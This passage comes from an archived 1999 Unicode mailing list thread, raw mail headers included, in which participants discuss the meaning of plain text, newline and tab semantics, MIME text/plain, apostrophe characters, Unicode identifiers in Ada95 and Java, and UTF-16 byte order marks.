denominator document format standard for interoperability"" I think we will have added significant value and endurance to Unicode. The discussion seems to be trailing off -- I suppose I'll wait a few days to see what else comes up and then attempt to write something up (with full consideration of TR13). - Frank 7-Jul-99 2:44:42-GMT,1655;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id WAA07895 for ; Tue, 6 Jul 1999 22:44:41 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id TAA191402 ; Tue, 6 Jul 1999 19:37:18 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA27639; Tue, 6 Jul 99 19:27:23 -0700 Message-Id: <9907070227.AA27639@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8525 (1999-07-07 02:26:09 GMT) From: John Cowan To: Unicode List Date: Tue, 6 Jul 1999 19:26:07 -0700 (PDT) Subject: Re: Plain text: Amendment 1 Content-Transfer-Encoding: 7bit Kenneth Whistler scripsit: > However, UTR #13 constitutes ""Unicode Newline *Guidelines*"" [emphasis > added]. There is no conformance specification and there are no > normative implications. The scope constitutes: ""a set of > recommendations for handling these characters so as to minimize the > effects on users."" Think of UTR #13 as a late addition to Chapter 5, > Implementation Guidelines, that did not make it into the actual printed > text of The Unicode Standard, Version 3.0, forthcoming. Ah, I missed that point. But my point was that whereas Unicode 2.0 had nothing to say about CR and LF and N(E)L, Unicode 3.0 does. -- John Cowan cowan@ccil.org I am a member of a civilization. --David Brin 7-Jul-99 2:45:21-GMT,1919;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id WAA08109 for ; Tue, 6 Jul 1999 22:45:20 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id TAA243160 ; Tue, 6 Jul 1999 19:37:31 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA27576; Tue, 6 Jul 99 19:23:24 -0700 Message-Id: <9907070223.AA27576@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8524 (1999-07-07 02:22:09 GMT) From: John Cowan To: Unicode List Date: Tue, 6 Jul 1999 19:22:07 -0700 (PDT) Subject: Re: Plain Text Content-Transfer-Encoding: 7bit Kenneth Whistler scripsit: > > > > So at minimum, a text file should be tagged according to character set. > > Whoa! Wait a minute. How do we get from here to there? > > If it's tagged, it's not a *plain* text file, but something else. I believe the reference was to file metadata like the application tag on the Mac, rather than to anything in-band. > The rest of this discussion is about something else other than what > the Unicode Standard means by ""plain text"", and has, as far as I can > tell, more to do with devising a kind of a lowest common denominator > document format standard for interoperability. While people on this list > may find that interesting to discuss, it is rather orthogonal to the > intended scope of the Unicode Standard. Just so. Historically, such document have been called ""plain text"" documents. What Unicode means by ""plain text"" is simply a stream of characters. -- John Cowan cowan@ccil.org I am a member of a civilization. --David Brin 7-Jul-99 15:43:51-GMT,4432;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id LAA20987 for ; Wed, 7 Jul 1999 11:43:51 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id IAA245160 ; Wed, 7 Jul 1999 08:35:39 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA01732; Wed, 7 Jul 99 08:11:57 -0700 Message-Id: <9907071511.AA01732@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8535 (1999-07-07 15:10:18 GMT) From: Mark Davis To: Unicode List Cc: Unicode List Date: Wed, 7 Jul 1999 08:10:16 -0700 (PDT) Subject: Re: Plain text: Tab stops Content-Transfer-Encoding: 7bit HT has even more ambiguous semantics than you indicate. We did a survey a few years ago of word processors and desktop publishing programs, and found a wide range of different behaviors. Suppose you have a set of tab stops, e.g. at 12pt, 36pt, 72pt, etc. You also have a string of text containing tabs. The tabs in the text divide up the text into a list of tab fields (the text between tabs). There are four problematic situations. 1. A tab field would touch or overlap a previous tab field if placed at the tab stop.* Possible behaviors we observed here were: - go to the next tab stop - go to the next line, at that tab stop. - go to the next line, at the start - ignore the tab, treat it as a space, and merge with the next tab field. 2. There are more tab fields than tab stops. Possible behaviors we observed here were: - go to the next line, at that tab stop. - go to the next line, at the start - ignore the tab, treat it as a space, and merge with the next tab field. - manufacture implicit tab stops past the end, e.g. at every 36 points, or at every 8 em. 3. A tab field would exceed the paragraph margin. Possible behaviors we observed here were: - go to the next line, at the start - go to the next line, at the first tab stop. 4. Tabs are used in non-left flush lines (e.g. with centered or right-flush lines). Possible behaviors we observed here were: - ignore the flush setting on the line. - apply the flush to just the first tab field. - apply the flush to just the last tab field. - lay out the tab fields as if the text were left-flush, then shift the entire line to center or right-flush it. (This comes up with pretty random looking tabulation.) Some DTP programs, despite our best efforts to figure out the rules they were using, appeared to be pretty random in their behavior. This is especially the case with #4. * Overlap (#1) does not only mean that the tab field is too big for the tab stop; it also happens with mixtures of left, right and center tabs. Look at the following example, where '[' means left tab stop, and '|' means centered tab stop, and '~' means tab (and use monospaced font to see properly): [ | aaaaaaaaaaaa~bbbbbbb The bbbbbbb text can't be placed at the centered tab stop properly without overlapping the aaaaaaaaaaaa. Overlap can also happen when the second tab field is centered or right flush and is so large that it overlaps with the left margin. Mark Tony Harminc wrote: > On 6 Jul 99, at 10:25, John Cowan wrote: > > > As for HT and FF, nobody uses them incompatibly, and > > introducing new characters for them is supererogation at best. > > Actually the question of HT and FF is the most bothersome one, for > me. There are (at least) two problems: > > HT and FF both depend in some sense on the user's environment, e.g. > page length (paper size if the ""rendering engine"" is a printer or > hardcopy terminal), and tab stop settings. > > HT has ambiguous semantics when the HT occurs when the cursor is > already at a tab stop. If the cursor got to a tab stop because of an > HT, then there is no argument - another HT moves to the next tab > stop. But if the cursor got there because of ordinary, implicit > movement, then some systems ignore an HT (i.e. stay in the same > place), while others move on to the next stop. Granted, this is > mainly a problem of input methods rather than data storage or > interchange, but I don't think it's quite fair to say that no one > uses HT incompatibly. > > Tony H. 8-Jul-99 0:15:59-GMT,2754;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id UAA00495 for ; Wed, 7 Jul 1999 20:15:58 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id RAA270376 ; Wed, 7 Jul 1999 17:08:32 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA09145; Wed, 7 Jul 99 16:52:09 -0700 Message-Id: <9907072352.AA09145@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT X-Uml-Sequence: 8554 (1999-07-07 23:51:58 GMT) From: ""Jonathan Coxhead"" To: Unicode List Date: Wed, 7 Jul 1999 16:51:57 -0700 (PDT) Subject: Re: Plain text: Amendment 1 Content-Transfer-Encoding: 7BIT | > So we could have a character | > | > COLUMN SEPARATOR | > | > (CSEP) to go with LINE SEPARATOR (LSEP) and PARAGRAPH SEPARATOR (PSEP). | | This isn't going to happen. Column alignment in tables is clearly a | higher-level document formatting issue -- not a problem to be solved | by attributing complex layout attributes to yet another format | control character in the character encoding standard. Couldn't the same once have been said of ""advance to next line""? Originally derived from 2 hardware control commands, but now made abstract as LSEP? There various ways to express the semantic ""advance to next column"" in plain text, chiefly: ---insert enough spaces to make the lines line up; ---insert an HT character; ---insert a number of HT characters. The descriptions for LSEP and PSEP say ""may be used to express this semantic unambiguously"". Confronted by a requirement that the concept of vertically-aligned columns might be an important part of plain text, the consistent option seems to be a character whose only purpose is to separate columns. This has 2 almost-immediate corollaries: (1) LSEP should separate rows; (2) the scope of the columns should be limited in some way, with PSEP being the obvious choice. As I noted, it has exactly the same minimum implementation requirements as HT, but it also gives the renderer the *option* of doing nicer alignment, if it wants. So it needn't be complex. It is certainly possible that the foundation on which this rests (""the concept of vertically-aligned columns is an important part of plain text"") is just not true---in which case trying to nail down the semantics of HT seems like a logically impossible task, as it shares that foundation. /| o o o (_|/ /| (_/ 8-Jul-99 1:18:01-GMT,1533;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id VAA06626 for ; Wed, 7 Jul 1999 21:18:01 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id SAA323710 ; Wed, 7 Jul 1999 18:11:20 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA10198; Wed, 7 Jul 99 18:00:38 -0700 Message-Id: <9907080100.AA10198@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-Uml-Sequence: 8557 (1999-07-08 00:58:57 GMT) From: ""Christopher J. Fynn"" To: Unicode List Date: Wed, 7 Jul 1999 17:58:56 -0700 (PDT) Subject: RE: Plain text: Amendment 1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by watsun.cc.columbia.edu id VAA06626 > From: Jonathan Coxhead wrote: > There various ways to express the semantic ""advance to next column"" > in plain text, chiefly: > > ---insert enough spaces to make the lines line up; Doesn't this assume fixed, or at least known width, glyphs? And do you take into account non spacing glyphs? What about scripts that can be written vertically or horizontally? Scripts where the glyph form representing a character(and thus its width) is dependant on context? Making columns line up by inserting spaces is not a good idea. - Chris 8-Jul-99 6:11:55-GMT,1954;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id CAA06425 for ; Thu, 8 Jul 1999 02:11:54 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id XAA188368 ; Wed, 7 Jul 1999 23:02:44 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA12174; Wed, 7 Jul 99 22:52:19 -0700 Message-Id: <9907080552.AA12174@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8562 (1999-07-08 05:52:07 GMT) From: Edward Cherlin To: Unicode List Date: Wed, 7 Jul 1999 22:52:06 -0700 (PDT) Subject: Re: Plain Text At 09:50 -0700 7/5/1999, Frank da Cruz wrote: >[Ed wrote...] [snip] >> How do we deal with delimited database transfer files with a fixed >> limit on line length? >> >I don't see how these files would be affected. You can put line separators >in them if you want, or leave them out. So the line length limit is an option? [snip] >> To summarize your answer to my objections, we are defining a new format >> independent of previous conventions, in which we can specify usage of the >> minimal set of formatting characters regardless of usage in text files of >> 7-bit ASCII and 8-bit character sets of any kind, while allowing for a few >> variant flavors of text, such as preformatted, reflowable, and >> database. >> >Yes. > >> To which I add, that we can specify a portable implementation, >> too, and not have to wait for computer and OS vendors to get on board. >> >Double yes. > >- Frank -- Edward Cherlin edward.cherlin.sy.67@aya.yale.edu ""It isn't what you don't know that hurts you, it's what you know that ain't so.""--Mark Twain, or else some other prominent 19th century humorist and wit 11-Jul-99 8:24:16-GMT,1472;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id EAA09130 for ; Sun, 11 Jul 1999 04:24:15 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id BAA258092 ; Sun, 11 Jul 1999 01:20:39 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA27285; Sun, 11 Jul 99 01:11:55 -0700 Message-Id: <9907110811.AA27285@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8594 (1999-07-11 08:11:44 GMT) From: Edward Cherlin To: Unicode List Date: Sun, 11 Jul 1999 01:11:42 -0700 (PDT) Subject: MIME text/plain (was Re: Plain Text) At 07:23 -0700 7/6/1999, John Cowan wrote: [snip] >The corresponding MIME type is ""text/plain; charset=utf-8"" or >""... utf-16"". > >Anything else should have a different MIME type or at least >different parameters. [snip] How is ""text/plain"" defined? What does it specify about line lengths, word wrap, fixed vs. proportional fonts, line end characters, and line and paragraph separators? -- Edward Cherlin edward.cherlin.sy.67@aya.yale.edu ""It isn't what you don't know that hurts you, it's what you know that ain't so.""--Mark Twain, or else some other prominent 19th century humorist and wit 11-Jul-99 16:23:46-GMT,1815;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id MAA10650 for ; Sun, 11 Jul 1999 12:23:45 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id JAA244866 ; Sun, 11 Jul 1999 09:20:02 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA27873; Sun, 11 Jul 99 09:07:23 -0700 Message-Id: <9907111607.AA27873@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uml-Sequence: 8595 (1999-07-11 16:07:07 GMT) From: Jungshik Shin To: Unicode List Date: Sun, 11 Jul 1999 09:07:06 -0700 (PDT) Subject: Re: MIME text/plain (was Re: Plain Text) > At 07:23 -0700 7/6/1999, John Cowan wrote: > [snip] > >The corresponding MIME type is ""text/plain; charset=utf-8"" or > >""... utf-16"". > > > >Anything else should have a different MIME type or at least > >different parameters. Can I propose that everyone on this mailing list stop sending messages in ""pre-Unicode"" encodings(like ISO-8859-1) and begin sending her/his messages with non-US-ASCII characters in UTF-8(well, US-ASCII only message also qualifies for UTF-8 as everybody knows)? Isn't it funny that people on the Unicode mailing list send messages in ""legacy"" encodings like ISO-8859-1(by far the most frequently used encoding in the list which is not UTF-8 other than US-ASCII which can be labelled as UTF-8)? I know this will for sure lead to some inconveniences for some people(perhaps quite many of us), but aren't we suppose to be an exampla case in promoting as rapid and wide adoption of Unicode as possible? Jungshik Shin 12-Jul-99 14:22:13-GMT,2758;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id KAA03664 for ; Mon, 12 Jul 1999 10:22:12 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id HAA89920 ; Mon, 12 Jul 1999 07:12:18 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA01632; Mon, 12 Jul 99 06:58:06 -0700 Message-Id: <9907121358.AA01632@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8606 (1999-07-12 13:57:55 GMT) From: John Cowan To: Unicode List Date: Mon, 12 Jul 1999 06:57:53 -0700 (PDT) Subject: Re: MIME text/plain (was Re: Plain Text) Content-Transfer-Encoding: 7bit Edward Cherlin wrote: > How is ""text/plain"" defined? What does it specify about line lengths, word > wrap, fixed vs. proportional fonts, line end characters, and line and > paragraph separators? RFC 2046, section 4.1 ff., is authoritative: # Plain text does not provide for or allow # formatting commands, font attribute specifications, processing # instructions, interpretation directives, or content markup. Plain # text is seen simply as a linear sequence of characters, possibly # interrupted by line breaks or page breaks. Plain text may allow the # stacking of several characters in the same position in the text. # Plain text in scripts like Arabic and Hebrew may also include # facilities that allow the arbitrary mixing of text segments with # opposite writing directions. # # [...] # # The canonical form of any MIME ""text"" subtype MUST always represent a # line break as a CRLF sequence. Similarly, any occurrence of CRLF in # MIME ""text"" MUST represent a line break. Use of CR and LF outside of # line break sequences is also forbidden. # # This rule applies regardless of format or character set or sets # involved. # # NOTE: The proper interpretation of line breaks when a body is # displayed depends on the media type. In particular, [...] it is # appropriate to treat a line break as a transition to a new line when # displaying a ""text/plain"" body [...]. It should not be # necessary to add any line breaks to display ""text/plain"" correctly # [...]. There is no talk of fonts or paragraphs, and the ""NOTE:"" paragraph suggests that word (or non-word) wrapping is inappropriate. -- John Cowan http://www.ccil.org/~cowan cowan@ccil.org Schlingt dreifach einen Kreis um dies! / Schliesst euer Aug vor heiliger Schau, Denn er genoss vom Honig-Tau / Und trank die Milch vom Paradies. -- Coleridge / Politzer 15-Jul-99 13:52:50-GMT,7678;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id JAA13840 for ; Thu, 15 Jul 1999 09:52:50 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id GAA256534 ; Thu, 15 Jul 1999 06:44:14 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA22770; Thu, 15 Jul 99 06:36:01 -0700 Message-Id: <9907151336.AA22770@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-Uml-Sequence: 8664 (1999-07-15 13:35:32 GMT) From: ""Reynolds, Gregg"" To: Unicode List Cc: unicode@unicode.org Date: Thu, 15 Jul 1999 06:35:31 -0700 (PDT) Subject: RE: Arabic - Alef Maqsurah Dear Ken, Thanks very much for your thoughtful reply. A few points before I head back into the salt mines: > -----Original Message----- > From: kenw@sybase.com [mailto:kenw@sybase.com] > Sent: Wednesday, July 14, 1999 8:07 PM > To: greynolds@datalogics.com > Cc: unicode@unicode.org; kenw@sybase.com > Subject: RE: Arabic - Alef Maqsurah > > > > this discussion. My personal project is to model the > working of Arabic > > texts, so my loyalties are to the language, not to legacy software. > > Here, ""legacy"" software includes, of course, Office 2000, > which is only > just now becoming available, with Unicode-based Arabic as part of the > package. That's pretty new to already be scorned as ""legacy software."" It's not that I scorn legacy software; that would be like scorning gravity (or God, where a certain software maker is concerned). I just think the natual language, and not legacy software (""encoding designs"" would be a better term here) should be the yardstick. > > misundertand it. Much of the confusion (IMHO) is due > simply to loose > > terminology. > > We keep working on the terminology, and have tightened up a lot in > the new version 3.0 (forthcoming). --Although, unfortunately, > this area > of input methods is not scheduled for any new additions or > clarifications at the moment. > > But in my opinion, most of the confusion about such issues and the > Unicode Standard are not really the result of loose terminology, but Yes; I should have said ""unfinished"" or the like instead of loose; I don't mean to imply the editors are slackers. > > > > I think it probably does turn up for many languages - > remember my concern is > > with encoding texts in the language, not the script. It's > not a question of > > essentialism (whatever that is) but peculiarlism. (In two > words: clitics > > and non-concatenative morphology.) > > Ah, so it *is* an issue of Arabic essentialism. The > morphological (or whatever-- > fill in your list of attributes here) essence of Arabic is > different from > that of other languages; therefore it must be treated in an > essentially > different way in encoding (or whatever--fill in your list here) to be > handled correctly. > One request: please let's not resort to such labels. ""Ism-ism"" in my opinion almost always obscures more than it enlightens. As to the specifics of your comment, I am emphatically not making the case that Arabic has some sort of mystical essence that deserves some kind of special treatment. On the contrary my point is precisely that it and many other languages that do not share the linguistic features that make e.g. English amenable to digital representations already receive a kind of special treatment, in that they must be encoded using a strategy designed for one class of languages. I think this situation could be remedied to a certain extent without breaking unicode. > > Here you are talking about the lemmatizing problem for search > algorithms. > This is, indeed, very sensitive to the morphology and morphosyntactic > structures of particular languages. Implementers of > multilingual search > engines are well aware of this problem and must tailor their > algorithms > to deal with the particular morphologies they encounter. But this begs the question. They don't encounter particular morphologies; they encounter particular encodings. Encodings, natural and artificial, always reflect some theory of language. Change the encoding and you change the problem. > > Yes and yes. You just cannot build morphological structure > into a practical > character encoding -- especially one which has to be > universal, and applicable > to representation of text in any language, living or dead, in > any script. On the contrary, you cannot *not* build morphological structure into an encoding. Unicode already does: lexemes are built by concatenating text atoms. Works great for English, not so great for e.g. Arabic. How else can one explain the space ""character"" as a positive element? Even for Arabic Unicode accomodates some level of morphological intelligence: ""contextual shaping"" encodes morphology (prosodic word boundary). Every ""natural"" encoding of language into visual form does the same to some extent. It's not a question of whether, but of how much. > > Ah, but here is where your basic approach, as it applies to > the Unicode > Standard, breaks down. The Arabic *script* is what is encoded in the > standard. The Arabic script is used to represent text in hundreds of > non-Semitic languages, from Urdu, to Malay, to Uighur, to > Persian, to Pashto, to > Swahili, as well as the Semitic core languages. Those > languages run the > complete gamut of morphological types. You can't just reconstruct the > encoding of the Arabic script in Unicode to tailor it to the Arabic > *language* morphology, when it can and is used to represent > text in all > the other languages, including many Indo-European languages, > for that matter. Understood, but my view is that this is where Unicode itself gets a little confused. Does it or does it not encode presentational (visual) form? Arabic presentational forms (by which I mean all letterforms used in writing) are indeed used in many languages from different families, but do these presentational forms share the same character semantics across languages? I sincerely doubt it. So an encoding that works across languages must sharply distinguish between character semantics and presentational form. Which gets us back to grammatical encoding. BTW, in one of your earlier notes you pointed out that handwriting sequence is the preferable guide to implementing input methods. This is the alternative: grammatical sequence. I'll put together some examples of what I mean this weekend. > > > The argument I will make (eventually; it's > > quitting time just now) is that such structural information > is rightfully > > part of the standard encoding; the intelligence should be moved from > > specialized logic in software and embedded in the text. > > Nope. > > You can always embed it in specialized text devoted to the > Arabic language > in particular (either through markup or your own morphologically-based > encoding in private use space), but that is not the design point of > the Unicode Standard for plain text representation. > Not to be provocative, but isn't it interesting how ""plain text"" just seems to work for some languages and not for others? I don't want you to misconstrue my remarks as a mere whine about the woeful state of the world; I've actually got some concrete suggestions that I'll post this weekend along with some more background info. I think they're technically feasable, which probably dooms them ;.) Thanks again, Gregg 19-Jul-99 9:40:54-GMT,3602;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id FAA04765 for ; Mon, 19 Jul 1999 05:40:53 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id CAB193762 ; Mon, 19 Jul 1999 02:35:23 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA06222; Mon, 19 Jul 99 02:24:15 -0700 Message-Id: <9907190924.AA06222@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Uml-Sequence: 8698 (1999-07-19 09:23:56 GMT) From: Markus Kuhn To: Unicode List Date: Mon, 19 Jul 1999 02:23:55 -0700 (PDT) Subject: Re: Apostrophes, quotation marks, keyboards and typography Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by watsun.cc.columbia.edu id FAA04765 Jonathan Rosenne wrote on 1999-07-18 22:14 UTC: > 1. this is one of the reasons for text in HTML. The processor can > substitute the correct character. > > In general, any word processor should allow the user to style the text as a > quotation, rather than require him to type typographical characters. I personally am not convinced that higher layer protocols should be used to handle punctuation. This completely violates by concept of plain text, and the existing practice of using higher layer protocols here clearly just derives from the limitations of ASCII, an artifact of an era that we are hopefully about to leave behind us. Higher layer protocols such as SGML are fine for things like font selection and other formatting and logical structuring, but quotation marks and other punctuation are too much part of the raw text than that I would like to see them handled via hacks such as . Higher layer protocols should in my opinion not represent the actual textual content of the text, but give only auxiliary structuring and representation hints. Therefore I don't like to see markup for quotation marks, just as I don't like the idea to have to markup conditional clauses, sentences, and perhaps even paragraphs (not sure about the last one though). > 2. The situation for Hyphen-Minus is quite similar. Agreed, it is equally confusing and keyboard entry conventions should be carefully standardized here as well. Mark Davis wrote on 1999-07-18 17:47 UTC: > There seems to be some misunderstanding. ""The Unicode Standard�, Version > 2.1"" gives the following text (see > http://www.unicode.org/unicode/reports/tr8.html#3.6 Apostrophe Semantics > Errata): > > U+02BC MODIFIER LETTER APOSTROPHE is preferred where the character > is to represent a modifier letter (for example, in transliterations > to indicate a glottal stop.) In the latter case, it is also referred > to as a letter apostrophe. > > U+2019 RIGHT SINGLE QUOTATION MARK is preferred where the character is to > represent a punctuation mark, as in ""We've been here before."" In the > latter case, U+2019 is also referred to as a punctuation apostrophe. Excellent! I missed that 2.1 correction, and I am delighted to see that this was already fixed nicely. So U+02BC is one thing less to worry about and the Microsoft Word practice actually does conform to the standard. Thanks for the reply. So the rest is really up to the keyboard standards community to fix. Markus -- Markus G. Kuhn, Computer Laboratory, University of Cambridge, UK Email: mkuhn at acm.org, WWW: 20-Jul-99 9:17:47-GMT,3045;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id FAA17686 for ; Tue, 20 Jul 1999 05:17:47 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id CAA284110 ; Tue, 20 Jul 1999 02:13:09 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA11429; Tue, 20 Jul 99 01:59:08 -0700 Message-Id: <9907200859.AA11429@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uml-Sequence: 8713 (1999-07-20 08:58:55 GMT) From: Markus Kuhn To: Unicode List Date: Tue, 20 Jul 1999 01:58:53 -0700 (PDT) Subject: Re: Unicode in Source Code (Ada95 and Java) Murray Sargent wrote on 1999-07-20 01:16 UTC: > An example where nonASCII identifiers is really useful is in coding up > mathematical formulae that contain Greek letters. For example, a program is > much more readable if you use U+3B1 for alpha rather than spelling out the > name alpha. Similarly U+3C0 for pi. Hopefully C++ will follow Java's > excellent example and allow Unicode alphabetics in variable names. Ada95 is even younger than Java and it is the first ISO standardized programming language that was designed after the publication of ISO 10646-1. Of course, Ada95 - like Java - also uses UCS as its internal character set. However, the Ada95 revision team has explicitly decided not to follow the path of Java and they only allowed the Latin-1 letters in identifiers. The Ada community is very concerned about safety issues and about the readability of source code, because Ada is widely deployed today in safety critical environments (most avionics software is written in Ada for instance). Unicode contains a quite large number of characters that are difficult - if not impossible - to distinguish visually. A safety requirement for Ada identifiers is that it must be easy for human readers to decide whether two identifiers are different or equal. The presence of Unicode characters such as U+00D0, U+0110 and U+0189 introduces a lot of potential hazards that are best avoided by not allowing a too rich repertoires of characters in object identifiers. Note however that the Ada95 standard does allow implementations to offer ""non-standard"" optional modes that do allow additional UCS characters in identifiers. Have a look at: Ada95 Reference Manual, ISO/IEC 8652:1995(E), Section 2.1: Character Set, http://wuarchive.wustl.edu/languages/ada/userdocs/docadalt/rm95/02.htm http://www.cl.cam.ac.uk/~mgk25/ada.html Markus (who decided to use Ada95 for his PhD implementation project, because the language is at least as nice and modern as Java, but its compilers produce far more efficient native machine code.) -- Markus G. Kuhn, Computer Laboratory, University of Cambridge, UK Email: mkuhn at acm.org, WWW: 23-Jul-99 3:13:02-GMT,4775;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id XAA08993 for ; Thu, 22 Jul 1999 23:13:01 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id UAA199974 ; Thu, 22 Jul 1999 20:07:56 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA22187; Thu, 22 Jul 99 19:56:37 -0700 Message-Id: <9907230256.AA22187@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8854 (1999-07-23 02:56:28 GMT) From: Gianni Mariani To: Unicode List Cc: unicode@unicode.org Date: Thu, 22 Jul 1999 19:56:27 -0700 (PDT) Subject: RE: The future of UTF-8 The issue I have with BOM's is that if I have 2 ""plain text"" files and I do this kind of operation: type appendfile >> oldfile It's not guarenteed to work unless the consuming application processes multiple BOMS which in that case it renders utf-16 and ucs4 fully stateful from a consumer application's p.o.v. albeit with only two states since it needs to filter all incoming characters. The above operation works with all other ""plain text"" files including utf-8 without any ""stateful"" transitions. This kind of operation is really not uncommon. Take log files. If I have two co-operating applications of different endianness machines writing to the same log where one machine is big endian and one little endian, then the application needs to care about endianness when it's writing utf-16 but not so with utf-8. I can probably come up with some more examples. When utf-16 became born, there was no real reason to go with it because at that point, you have all the problems with multibyte encodings and most of the programming community still like using 8 bit chars, we still fight this inside MS with libs ported to CE. As you can tell, these are my opinions and not necessarily that of my employer. Anyhow, the other issue is that many applications that process wide chars are not utf-16 aware, while any internationalized 8 bit application that multibyte aware is a whole lot easier to port to Unicode using utf-8. Where time is money, it's virtually impossible to justify spending the sort of time that's required to go to utf-16 when utf-8 can be just as effective. It's also relativly easy to write a string class that has both a utf-16 and utf-8 ""view"" of a string making it virtually unnessasary to do an either-or decision so you get to pick the best of both worlds. So, apologies for my earlier snappy comments, it wasn't intended that way, although the MS stock price may have had somthing to do with it :)) As always, highest Regards G -----Original Message----- From: kenw@sybase.com [mailto:kenw@sybase.com] Sent: Thursday, July 22, 1999 1:56 PM To: Unicode List Cc: unicode@unicode.org; kenw@sybase.com Subject: RE: The future of UTF-8 Gianni, > If you need to process BOM's (10646 signatures) it is then stateful. 